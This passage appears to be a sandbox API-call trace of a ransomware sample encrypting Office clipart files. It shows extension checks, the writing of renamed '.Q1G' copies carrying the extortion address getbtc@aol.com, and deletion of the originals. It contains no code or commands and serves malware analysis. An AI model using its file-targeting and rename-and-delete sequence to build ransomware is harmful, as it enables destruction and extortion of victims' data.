[0261.193] lstrlenW (lpString=".doc") returned 4 [0261.193] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.193] lstrlenW (lpString=".docx") returned 5 [0261.193] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0261.193] lstrlenW (lpString=".pdf") returned 4 [0261.193] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.193] lstrlenW (lpString=".xls") returned 4 [0261.193] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.193] lstrlenW (lpString=".xlsx") returned 5 [0261.193] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0261.193] lstrlenW (lpString=".ppt") returned 4 [0261.193] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0261.193] lstrlenW (lpString=".zip") returned 4 [0261.193] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.193] lstrlenW (lpString=".rar") returned 4 [0261.193] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.193] lstrlenW (lpString=".bz2") returned 4 [0261.193] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.194] lstrlenW (lpString=".7z") returned 3 [0261.194] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0261.194] lstrlenW (lpString=".dbf") returned 4 [0261.194] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0261.194] lstrlenW (lpString=".1cd") returned 4 [0261.194] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0261.194] lstrlenW (lpString=".jpg") returned 4 [0261.194] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0261.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0261.194] lstrlenW (lpString=".doc") returned 4 [0261.194] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.194] lstrlenW (lpString=".docx") returned 5 [0261.194] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0261.194] lstrlenW (lpString=".pdf") returned 4 [0261.194] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.194] lstrlenW (lpString=".xls") returned 4 [0261.194] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.194] lstrlenW (lpString=".xlsx") returned 5 [0261.194] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0261.194] lstrlenW (lpString=".ppt") returned 4 [0261.194] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0261.194] lstrlenW (lpString=".zip") returned 4 [0261.194] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.194] lstrlenW (lpString=".rar") returned 4 [0261.194] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.194] lstrlenW (lpString=".bz2") returned 4 [0261.194] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.194] lstrlenW (lpString=".7z") returned 3 [0261.194] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0261.194] lstrlenW (lpString=".dbf") returned 4 [0261.195] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0261.195] lstrlenW (lpString=".1cd") returned 4 [0261.195] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0261.195] lstrlenW (lpString=".jpg") returned 4 [0261.195] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.195] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0261.195] lstrlenW (lpString="J0107712.WMF") returned 12 [0261.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0261.197] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=4636) returned 1 [0261.197] CloseHandle (hObject=0x3a0) returned 1 [0261.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf")) returned 0x20 [0261.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0261.198] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.198] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0261.201] GetLastError () returned 0x0 [0261.201] ReadFile (in: hFile=0x3a0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x121c, lpOverlapped=0x0) returned 1 [0261.206] WriteFile (in: hFile=0x3e0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1220, lpOverlapped=0x0) returned 1 [0261.207] ReadFile (in: hFile=0x3a0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.207] WriteFile (in: hFile=0x3e0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.207] SetEndOfFile (hFile=0x3e0) returned 1 [0261.207] CloseHandle (hObject=0x3e0) returned 1 [0261.207] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.207] SetEndOfFile (hFile=0x3a0) returned 1 [0261.209] CloseHandle (hObject=0x3a0) returned 1 [0261.209] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.209] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf")) returned 1 [0261.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0261.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0261.210] lstrlenW (lpString=".doc") returned 4 [0261.210] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.210] lstrlenW (lpString=".docx") returned 5 [0261.210] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0261.210] lstrlenW (lpString=".pdf") returned 4 [0261.210] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.210] lstrlenW (lpString=".xls") returned 4 [0261.210] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.210] lstrlenW (lpString=".xlsx") returned 5 [0261.210] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0261.210] lstrlenW (lpString=".ppt") returned 4 [0261.210] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0261.210] lstrlenW (lpString=".zip") returned 4 [0261.210] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.210] lstrlenW (lpString=".rar") returned 4 [0261.210] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.210] lstrlenW (lpString=".bz2") returned 4 [0261.210] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.210] lstrlenW (lpString=".7z") returned 3 [0261.210] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0261.211] lstrlenW (lpString=".dbf") returned 4 [0261.211] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0261.211] lstrlenW (lpString=".1cd") returned 4 [0261.211] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0261.211] lstrlenW (lpString=".jpg") returned 4 [0261.211] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0261.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0261.211] lstrlenW (lpString=".doc") returned 4 [0261.211] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.211] lstrlenW (lpString=".docx") returned 5 [0261.211] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0261.211] lstrlenW (lpString=".pdf") returned 4 [0261.211] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.211] lstrlenW (lpString=".xls") returned 4 [0261.211] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.211] lstrlenW (lpString=".xlsx") returned 5 [0261.211] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0261.211] lstrlenW (lpString=".ppt") returned 4 [0261.211] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0261.211] lstrlenW (lpString=".zip") returned 4 [0261.211] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.211] lstrlenW (lpString=".rar") returned 4 [0261.211] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.211] lstrlenW (lpString=".bz2") returned 4 [0261.212] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.212] lstrlenW (lpString=".7z") returned 3 [0261.212] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0261.212] lstrlenW (lpString=".dbf") returned 4 [0261.212] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0261.212] lstrlenW (lpString=".1cd") returned 4 [0261.212] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0261.212] lstrlenW (lpString=".jpg") returned 4 [0261.212] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.212] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0261.212] lstrlenW (lpString="J0107718.WMF") returned 12 [0261.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0261.213] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=3800) returned 1 [0261.213] CloseHandle (hObject=0x3a0) returned 1 [0261.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf")) returned 0x20 [0261.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0261.213] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.213] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0261.214] GetLastError () returned 0x0 [0261.214] ReadFile (in: hFile=0x3a0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0xed8, lpOverlapped=0x0) returned 1 [0261.223] WriteFile (in: hFile=0x3e0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xee0, lpOverlapped=0x0) returned 1 [0261.223] ReadFile (in: hFile=0x3a0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.223] WriteFile (in: hFile=0x3e0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.224] SetEndOfFile (hFile=0x3e0) returned 1 [0261.224] CloseHandle (hObject=0x3e0) returned 1 [0261.224] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.224] SetEndOfFile (hFile=0x3a0) returned 1 [0261.226] CloseHandle (hObject=0x3a0) returned 1 [0261.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.226] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf")) returned 1 [0261.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0261.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0261.226] lstrlenW (lpString=".doc") returned 4 [0261.227] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.227] lstrlenW (lpString=".docx") returned 5 [0261.227] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0261.227] lstrlenW (lpString=".pdf") returned 4 [0261.227] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.227] lstrlenW (lpString=".xls") returned 4 [0261.227] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.227] lstrlenW (lpString=".xlsx") returned 5 [0261.227] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0261.227] lstrlenW (lpString=".ppt") returned 4 [0261.227] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0261.227] lstrlenW (lpString=".zip") returned 4 [0261.227] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.227] lstrlenW (lpString=".rar") returned 4 [0261.227] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.227] lstrlenW (lpString=".bz2") returned 4 [0261.227] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.227] lstrlenW (lpString=".7z") returned 3 [0261.227] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0261.227] lstrlenW (lpString=".dbf") returned 4 [0261.227] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0261.227] lstrlenW (lpString=".1cd") returned 4 [0261.227] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0261.227] lstrlenW (lpString=".jpg") returned 4 [0261.227] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0261.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0261.227] lstrlenW (lpString=".doc") returned 4 [0261.227] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.228] lstrlenW (lpString=".docx") returned 5 [0261.228] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0261.228] lstrlenW (lpString=".pdf") returned 4 [0261.228] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.228] lstrlenW (lpString=".xls") returned 4 [0261.228] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.228] lstrlenW (lpString=".xlsx") returned 5 [0261.228] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0261.228] lstrlenW (lpString=".ppt") returned 4 [0261.228] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0261.228] lstrlenW (lpString=".zip") returned 4 [0261.228] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.228] lstrlenW (lpString=".rar") returned 4 [0261.228] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.228] lstrlenW (lpString=".bz2") returned 4 [0261.228] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.228] lstrlenW (lpString=".7z") returned 3 [0261.228] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0261.228] lstrlenW (lpString=".dbf") returned 4 [0261.228] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0261.228] lstrlenW (lpString=".1cd") returned 4 [0261.228] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0261.228] lstrlenW (lpString=".jpg") returned 4 [0261.228] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.228] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0261.228] lstrlenW (lpString="J0107722.WMF") returned 12 [0261.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0261.229] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=8260) returned 1 [0261.229] CloseHandle (hObject=0x3a0) returned 1 [0261.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf")) returned 0x20 [0261.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0261.229] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.229] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0261.230] GetLastError () returned 0x0 [0261.230] ReadFile (in: hFile=0x3a0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x2044, lpOverlapped=0x0) returned 1 [0261.238] WriteFile (in: hFile=0x3e0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x2050, lpOverlapped=0x0) returned 1 [0261.239] ReadFile (in: hFile=0x3a0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.239] WriteFile (in: hFile=0x3e0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.239] SetEndOfFile (hFile=0x3e0) returned 1 [0261.239] CloseHandle (hObject=0x3e0) returned 1 [0261.239] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.239] SetEndOfFile (hFile=0x3a0) returned 1 [0261.241] CloseHandle (hObject=0x3a0) returned 1 [0261.241] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.241] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf")) returned 1 [0261.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0261.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0261.242] lstrlenW (lpString=".doc") returned 4 [0261.242] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.242] lstrlenW (lpString=".docx") returned 5 [0261.242] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0261.242] lstrlenW (lpString=".pdf") returned 4 [0261.242] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.242] lstrlenW (lpString=".xls") returned 4 [0261.242] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.242] lstrlenW (lpString=".xlsx") returned 5 [0261.242] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0261.242] lstrlenW (lpString=".ppt") returned 4 [0261.242] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.242] lstrlenW 